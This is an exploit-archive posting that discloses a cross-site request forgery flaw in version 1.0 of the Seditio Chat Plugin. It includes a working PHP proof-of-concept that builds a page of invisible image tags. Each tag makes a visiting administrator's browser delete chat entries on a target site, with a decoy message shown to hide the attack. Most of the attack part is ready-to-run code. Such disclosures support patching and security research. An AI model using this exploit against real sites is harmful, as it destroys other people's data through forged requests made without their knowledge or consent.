Home / exploits Seditio Chat 1.0 Cross Site Request Forgery
Posted on 11 April 2012
========================================================= Vulnerable Software: Seditio Chat Plugin (Chat Ä°ndex Plugin) v 1.0 http://www.seditio-eklenti.com/page.php?id=418 http://www.seditio-eklenti.com/chat-plugin-index-d418.html Downloaded: http://www.seditio-eklenti.com/datas/users/1-chat.rar (MD5 SUM: d1565b438199984661cf2147572724a6 *1-chat.rar) ========================================================= Tested: With Seditio v165 *php.ini MAGIC_QUOTES_GPC OFF* Safe mode off /* OS: Windows XP SP2 (32 bit) Apache: 2.2.21.0 PHP Version: 5.2.17.17 mysql> select version() -> ; +-----------+ | version() | +-----------+ | 5.5.21 | +-----------+ */ ========================================================= About Software: Seditio Chat Plugin (Chat Ä°ndex Plugin) v 1.0 is popular plugin for Seditio CMS. It gives ability to users~administrators~moderators to chatting. ========================================================= Vuln Desc: This plugin is prone to CROSS SITE REQUEST FORGERY vulnerability. It uses $_GET without any proper check of request validity when deleting entries from chat. It can be used by malicious people for delete chat entries. ================ Seditio chat plugin Delete chat entries CSRF exploit ================= <?php /* 4 Fun Seditio chat plugin Delete chat entries CSRF exploit (Sounds peacifull xD) */ $target='http://192.168.0.15/learn/128/sed/seditio165/'; // target site $howmuch=500;// how much entries to "rm" in chat? :) /* Do not change */ $body=str_repeat(PHP_EOL,300); $howmuch=(int)$howmuch; $sithere=strrev('OoPs! Can not Load Page.WTH? What about Refresh ?');// 4 think about :D.While we deleting chat entries:D for($i=0;$i<=$howmuch;$i++) { $body.='<img src="'. $target . '/plug.php?e=chat&c=delete&id=' . $i . '" width="0" height="0" /><br>' .PHP_EOL; } die($body . '<h1>' . $sithere . '</h1>'); /* EOF */ ?> ==============================EOF================================ /AkaStep ^_^ +++++++Greetz to all+++++++++++ packetstormsecurity.*,securityfocus.com,cxsecurity.com,security.nnov.ru,securtiyvulns.com and to all others! Thank you.
